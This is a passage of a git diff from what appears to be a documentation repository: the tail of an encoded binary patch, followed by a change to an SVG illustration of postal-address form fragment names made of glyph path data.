zHF*?-1@%o^J~7Z4Q+=1bCG6CEwnoeuqR!tDm~juKQw6sa7isDQGRf)umDsDGva+()
zpQp2)L-4Q_i2G=rXGO!j&fA>cn{|qi9@_UMjRK|fO4hIFL47h)Ne_pklJ2DPh4tiY
zO^Gq#J{6}Cgw-*~@b0y34>5&iL4VMBD|$%}YKuwkc65z<_}$*NO}&B8Y%M1v?kV#=
z+Fak?HsUdQ!0dm&*oCRNtg?o1gv?E6&LEcFM^b$YBiD70ztSU%W_Kl-cV?^;>B-CG
z1Om~Vy*AEKV1b2{?>;*wn%amqWe2kqymjFdWwa@5rfE%wb2j?j^?6K(t|MiE%bJ-q
zEV!33Sw)U+s7DO+j*vO>OSx|ui8`$Ep`AC4HoDV8n5cHp{?|X&e~oT-z5+cvzc|@W
z2o{o(LiIgD?o2ZWT(PE(lzP%eShBOTV}GKz^XU0zk18s*n5(O!FW)q@nZ$ohDs5SE
z=vSBuw+@=OT^*_j@|L(RQHo1FsA}O1i2bY-A^!6zMF8Fmb^d-|dRzV*et2CjL*#l0
znQ|0_o2zp`Z(gUs5ikvuZmeZ~zDpT9ZVC?m)K`$@y?;c}q07LA8%|yDDW_qVeBHG3
zX85(=(yLpCWWs7Hb#%y3VMQy$jAzp*6W>JPmMdUV;7YEc-vHpqH~#xV`>!eE=N)!2
zaqFK#uHqjG3v*u9<@fR{#`zq|SjwK{;jb=VvpGXTrFE|>KET2XzW2+d_b@Bq>PkdD
z8l;x*$>>(g(WDNcedBdp7;Bm=3Wxv9I)mXBSOH#}?<gmoKh1{cu7}_c7>wN`AeZvH
zIQCfZ<F+Pj60!-A&;nRxpio20+Va)Ja)=i&epXCNVwZQe>m4R~Vh15bD}hTyLm;aG
znNor?`-;Xx+qt}#U#(2d!42HPcH$19C(~t$&YP=e=k{-EQ=H9w_V-gYtk_s@K1o0k
zWM}#0?@@21eK1R_YLTtqz)(EC(rjxbOnwP?CArj92SW!E9hdZJS`S13`#*UZJ_=Ac
zIXG~=+gMx6k(v)-eB^n)&#F@~$2J4c5OW2}(YAye?9V=LUrGd$gqP$0%7!39K8$4F
z^|}SMr0rz&JiIhl6qtx;gp^!#6*eSF8)T(y#_HKm%XRp_qmg<jR7TF&$Gl$%0ec}z
zzp&QcA->tqZlg`0=J-bHA;K2yJMk!_GHvv31NpMzSwLT}Lv}GYf0)43u>DKg$RVJ@
zdM|Tp0au!XH?b`*O`UyVdU@GgC2GpP%TsO#GCw9ZZlV=bHr#PQY%Og=(r9*dwlh<6
zgL-vuf}XlsE;52xzuY7UJ=;|8Gs^B_;#3Ur$hzbu;mIrcE*Wa4HyNYkEJP>m1}Uoy
zp%WX-O~xZ#qlr7qD;G-?PtO@p;dl+=q2)A2KMdR`G_?a%flt3Y{)HFSQBQ4q@1Cs~
z!ox#fjOJ1Jm%<YatfJ%odq4{=BR77f_R4WM9;-y7FgqT-<gta6RT!j)W-?-F0Hx3=
zJ<p%j%4u$#ZOn97D$qbLczjpj7w0a?D1owNqg0Xjpwj%3Xb$*5xqHR%>JBqJnidr^
z%hnM(v8)U!kmc#CKKVK#dxQXAadXRt0>#oRUVUf%U2z2k1<wKNL3TN8(wP$OB<+O}
z3HxxZ)+|PvkDU7>49{DFRQf)3X04VPf7sbuP2+U&zar<AeyZd^O&(WL(RRUmTQ)y>
zb-6n#9KQkn<d%3>8`#_Zc+7dbN}9I0vAOunT=72K+4P2CbL5hWI3tmaadU?}SrW4e
zow250AHfj4Fi}yYTNQ7Beuh4IjFn;sS8O@Mqqr0Zv0Xvh2d*&7pUhLPMgZfKS2bgc
z);Kvw_-M7C$D6J&(N-RDzVP_6V9e|F%mC>Hg*8Vb^b~A*`0IV9Te=`0L_sI;S(&_x
zuTY5wy?F*j_4)mlo82<~%bUX~i==nke_cz`0G0`gRgPuSt9*8_h0m&E`sy3lkFdC>
zqQ%>DYwBAIqnmE5DJ2==Qzd(ZSRmfb*=&)sJ-(#}LPc`9OiGp;TcBsDI2_?y!UUAF
zV%ZRz=iU95B4Lq7x25rOg9P#b_0LCuj25o00#Vj*xqGWqVq(b$bsgSv?l|Ke%n7Hd
zYe1ii=q5|!DnvGL7H2M+{s`n6_3;}@Wmk46Rej4z(`~Y2{$M@CSLeIq82!~92Dr@W
za<+KxWG6d8kw$@6P(2|+GpQW)_^q!Y{KGKoDh_S2QVWG_WXD?NWzN0h)7`47s(|g|
z!@>K(&llr0n;OuGpRv`Ks(UdkKjp5&nSBazb7gfJpMI5&i|3J_<7)U(?&qtkM|T!h
zDSSTEaWz*Y#CEku_vq-{>>EhQow*Q}M{gD56g`<LKOcPYpt-z8TP>zDI?N}Xs^=gA
zvUC>|&+>S0Ikx{>Ih)f*?TMV!7uYQniprP)Gu?ANL*+SwK+|v}FgDKi<nBr?Y|W48
z28jaNwmSsz)X=~nuwBKyAt1KAOvF1&((gG5J*=^~X_qMtoeaJ=j})r3hi-8t<S{5v
z_a@}Q=w&(!P0avRG2_vl4q=@pHyqP5cU2P`y^gp(-%)1Ur4nJKeF0-kODreDGazv5
zrUS2v&P{b6)j(xH#_r682%84##HqS|pZ0q>{RZpy`}nHwXGGLzhPiC4Wba_Mpd~W8
z&04%t7<&$qXPN3pC$VEHd5vS-6CUNTHT12-$hw8iHD8dyQlM{}C_%x12Ae?MXMHoj
z6KpHgwXp9=b(Y_t)ZJDzQ-ObaNQsx>b#;C~NO5Pe7SN|EV#TpEHMOTsvKT?yLL=FH
z9#~@jur|W<vu+WaN0U8{en(Mb*Vh^S569WAvBS<zI~!r_UAgR@k+Jds$>NJhqDlPu
z#Ob{W<wLo|c6M&-d}jhEM8A5gNdl!C2CLXnVhHn07wu}ETJO=fq>j@Z1S%Zjn&i4G
zYt;9hw^S6k!!0JuZzHSEX7qL9A2l9(nlYG4+@$46*FXl%eUB;2__fh`W?Q~xo^Ue5
z<PhoW(sgQfG(%6F&WgVa>PSmr`SMD2%jkG|dKBUW;kIek^Wb5qe-oL{S+Hww{v<7{
zoKc==JSdVF$w5Woi{AmWTCt@mrjt>4QCMhd=qMUE-Qz&8WG!G)Cm(ZEgNle@*g?NE
z9p^|x7BV`=$Xn5yrIi+7UZ)i^Q#LzYes&EaYn_o066b^Lacs;mHPZ|3X;%d`={2Ri
zt3gfBhphGCkpogwBP;YDVd&lupg@vkpNB^^BPysoa$v!?{8ATg)tGME_?LEEOoqzo
z&N}Mm!4?93`FRC~59!Z&EK`wMm+TMSGV^7<tZRt0i<NW7mNJ}h9Ukah@%8bzMxR0u
z+AM&{5^c)1QpiIb#K)<2=>X+hXUs~od1_b!W|O6Q>C_VLI?zRxrwWbzmJREoRSa?H
zS)+WuitC`Zv!O$!)0Y(Hm9F@L@BXcgP_Cq$%p|w(Ms)=7`2ga9xa~tnfeeQB%?zg}
z<g@%>;u*x3%9Zhiq7pcWZ$S?{47@3;%^UBf@K#S8x*bhC91k4sIbu#9B&2k6bGu>Z
zO(~^wt1}E)N?B9_HaqZ%Jy01Df9P$9Pn<4Jg6eLYtzja0%`sLX5=;Pf{D~CzOy?tc
zi}Ok0B(mlGJiwBnU`d)gN~uu5N8YeW&yvbOx6N_$m?(`B)F@1@dKVg1k-{?zN>Tsb
z{RsgVVeJf-3lMPH&V~gOj4P~|+Q1(CP~|uZ*Qzgh;`J)?R5aCXvD*;C5=HB#m=-!w
zG9FoKB03I(!u<U@66(J}`fjvWZ+A(WHqoZ#{vh^0pRvpA-vlx~??&E@#aRMnBm`6M
zos&wDJPw;n{QTC`TZw!!+a@v0JV|vfSUF#bClqev>qF|Yg7<Y}qYyf8l5}{3YG0Nh
zu;S^8;Md9h-46>~`IR1&z97}rPnhdie#+^#7eYmp63y4_h=f&qNoI&eY4Rj=s>9TD
z9#J5Ayo50aVE4*Qc&s{MZ-&r&`oK@NT$hRTZ@|@$+qWHzcuUb_T}Y#qnDJ53r6=@K
zJ{O^IUwV8JyG7&Q2e*j(_96jz^}jHg;{qM@&vsH=uCIQ0eDxx<+uOa<Oe3{pkgeb}
zV#DKpfIZdrKlJxf&K>X5*>}e0yWTi~K(&e1(qCIMQHbTpT@VdkNZ^LgJx?jz+s6N~
zh9P6AcYRs2&q5`#V=ZtDOX1tDVT#&U5Q?&<4%t}Mvm=Vsf-;nf3YIw+2+d*6m+z%g
z|8l)cSx+_Fvmp`%KO>Ls?hWs0^p>7TUwdCpP&Vv(DUs{x?5T|3xHEcNd{NQ}x9B?O
zRp<x_o*_!lYIRJRSYpGzeQNoJ-@7U4aLVg^XXD3W-)hW^iRjw0BZ6yQL;?!P-#>cD
z329p)CX~--%oJVdO-yic*QU$J+#q+P(|@uvVAtH_rz?>ZyDHe!LwL0iJ>dArceSit
zm+|47lma!~i`tiBr3v==l{#-hNa^cZBXXE6TK8lHRlGG7PQELqjkHkou6&-Gj1w+6
zD>WkrI=(x?52mLsp8DOq8Am^In<Ai`F;K+G^zuo%OV!6aTIcYcR>PwQ&+e&!fb6m=
zTOb1LP4_{xqXYHE;p#A7{idAd@C{oPz=KygbcvB7df6<F4+0hVS8aa!zf#7dOsgan
z$TPe*WFivPZ?|EzGfLZ&gYCh7^1P)K&Yf9J?)MH#Xud^Pon4B@U`v$)gkC7UhQ8Ca
z!i~Ily=dxk%H@XdS1A5GWHS_;NrSF4nSAk)hu?b4QgJr!>`cw6axZSk@O`xU&*<q2
z9V|IeN7r+j3mWu6(91KuAKyn^a4K6x#d(Xb+(0E4j{S&s+^jvaAOyd6D5}m+ThNS<
z`G%!BacXA6S+r*5dE*1g6<+}_d*jaY-EH0!Wo65t`SnM1B-KoQof~$K_VO1iUyxZy
z<!>ViW=E>AM|fW7wme_AO(BeZu-Q}fPGK~-&YK&if-uTaUf<JIDL_%oI%b<16(e{j
zMfKR?ZxX&umM}B^X)t3MMl`WJSckx{Y94Hz5KwMm%!TVur#h{6sGx+FqGA~8>!Y1s
z^q`T<8W{$6({aVd&I!#YOE@%McaB8MaJ2O66(oBzBP*UosH^B~`ifvp{irOX9jn!G
zI2v*;{fl`F_2k`$m_^-3k2&NG>RSPVzJ1h^NEawX$T5j<@il#zv=H3YU%*i3)Ne>+
z*py?NMy#{(9mkd3mDF;rm*j=85<mu=GDw7~@O3hV(SfWR%U`xIx2GbYQ(*wyr+(8l
z>ltjCFMq?GgP)cyo}dbLb2i}66LUBmZu6w|bcW-0z2T6MnDo2J0#aG$@<EqX5g;i`
zZ5WPh79*38DtZ}|bZ%kXa`U+iZPNJ8V=SriG<$e&CfQQR$<Utrzj}L*pWpsSFAzw&
zm_zX`QDt1V3sH6vkv*x~@`LgF=ifj{0WcNCk~C!@<Wy=)D<)n2m$#fjm(PED6Jiq5
zKwnhe8vGZDBfSlrs0*%NPQU*L)VrX@(zt6A{o%+zXk2h8z<oEXOl)1{A4V8-tq|B$
z{}`QA!v_4D$bHOWm4Qmy^9}#_69qn|a`}tx80ANePK@1`<orkBFWyNG1!+aiH9dnS
zG;M<V52*hEdgk#|fuSa5W&sz+n}X+G)ZLY4Q7BZ?vC!qeZ3qE16Ud=y@r|ul+O^1B
zfwjemKRN3FYo*wU={+^@MJ?_LPtK{!CdSm!{`AQ|tHEJ&F`#Tfitsz+whx=atfKqf
zh~PRlT7UD*|1d~apyGr-V##7+q6@@~zcposd4@(d(3GnGX-V^Tkj!LLH*BvP@%9&C
Xmi&>mce6+#0DCDtQCBFJGk^Jin!3@6

diff --git a/_images/form/form-custom-type-postal-address-fragment-names.svg b/_images/form/form-custom-type-postal-address-fragment-names.svg
index 9b6092c9808..db9463b8327 100644
--- a/_images/form/form-custom-type-postal-address-fragment-names.svg
+++ b/_images/form/form-custom-type-postal-address-fragment-names.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 514"><defs><symbol overflow="visible" id="a"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="b"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="c"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="e"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="g"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="h"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="i"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="j"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="E"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="L"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="M"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="N"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="O"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="P"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="Q"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="R"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="S"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 